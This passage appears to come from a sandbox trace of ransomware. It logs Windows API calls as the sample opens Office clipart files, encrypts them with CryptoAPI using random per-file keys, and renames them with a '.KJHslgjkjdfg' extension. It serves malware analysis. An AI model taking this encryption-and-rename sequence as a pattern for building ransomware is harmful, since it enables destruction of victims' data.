nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.816] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.816] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.817] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.817] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.817] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.817] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xabad, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xabad, lpOverlapped=0x0) returned 1 [0197.818] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xabb0, dwBufLen=0xabb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xabb0) returned 1 [0197.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.819] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xabb0, lpOverlapped=0x0) returned 1 [0197.819] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xac84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.819] SetEndOfFile (hFile=0x130) returned 1 [0197.821] GetProcessHeap () returned 0x2ef0000 [0197.821] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.821] GetProcessHeap () returned 0x2ef0000 [0197.821] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.821] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.kjhslgjkjdfg")) returned 1 [0197.824] CloseHandle (hObject=0x130) returned 1 [0197.824] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ed3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099168.JPG", cAlternateFileName="")) returned 1 [0197.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.825] GetProcessHeap () returned 0x2ef0000 [0197.825] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.825] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.825] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.825] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0197.828] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.829] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.829] GetProcessHeap () returned 0x2ef0000 [0197.829] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.829] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.829] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.829] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.829] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.829] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.829] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.829] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.829] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.829] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.829] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.829] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.829] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4ed3, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4ed3, lpOverlapped=0x0) returned 1 [0197.831] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4ee0, dwBufLen=0x4ee0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4ee0) returned 1 [0197.831] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.831] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4ee0, lpOverlapped=0x0) returned 1 [0197.831] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.831] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4fb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.831] SetEndOfFile (hFile=0x130) returned 1 [0197.834] GetProcessHeap () returned 0x2ef0000 [0197.834] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.834] GetProcessHeap () returned 0x2ef0000 [0197.834] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.834] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.kjhslgjkjdfg")) returned 1 [0197.836] CloseHandle (hObject=0x130) returned 1 [0197.836] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x27d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099169.WMF", cAlternateFileName="")) returned 1 [0197.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.837] GetProcessHeap () returned 0x2ef0000 [0197.837] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.837] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.837] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.837] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.837] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.837] GetProcessHeap () returned 0x2ef0000 [0197.837] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.837] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.837] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.837] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.840] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.840] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.840] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.840] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.840] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.840] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.840] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.840] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.840] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x27d0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x27d0, lpOverlapped=0x0) returned 1 [0197.842] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x27d0, dwBufLen=0x27d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x27d0) returned 1 [0197.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.842] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x27d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x27d0, lpOverlapped=0x0) returned 1 [0197.842] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x28a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.842] SetEndOfFile (hFile=0x130) returned 1 [0197.845] GetProcessHeap () returned 0x2ef0000 [0197.845] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.845] GetProcessHeap () returned 0x2ef0000 [0197.845] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.845] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.kjhslgjkjdfg")) returned 1 [0197.846] CloseHandle (hObject=0x130) returned 1 [0197.846] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5ee4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099170.WMF", cAlternateFileName="")) returned 1 [0197.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.847] GetProcessHeap () returned 0x2ef0000 [0197.847] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.848] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.848] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.848] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0197.850] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.850] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.850] GetProcessHeap () returned 0x2ef0000 [0197.850] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.850] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.850] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.850] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.850] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.851] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.851] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.851] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.851] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.851] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.851] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.851] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.851] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5ee4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5ee4, lpOverlapped=0x0) returned 1 [0197.852] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5ef0, dwBufLen=0x5ef0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5ef0) returned 1 [0197.853] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.853] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5ef0, lpOverlapped=0x0) returned 1 [0197.853] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.853] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.853] SetEndOfFile (hFile=0x130) returned 1 [0197.856] GetProcessHeap () returned 0x2ef0000 [0197.856] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.856] GetProcessHeap () returned 0x2ef0000 [0197.856] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.856] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.kjhslgjkjdfg")) returned 1 [0197.858] CloseHandle (hObject=0x130) returned 1 [0197.858] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2232, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099171.WMF", cAlternateFileName="")) returned 1 [0197.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.858] GetProcessHeap () returned 0x2ef0000 [0197.859] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.859] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.859] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.859] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0197.861] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.861] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.861] GetProcessHeap () returned 0x2ef0000 [0197.861] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.861] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.861] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.861] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.861] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.862] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.862] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.862] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.862] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.862] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.862] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2232, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: 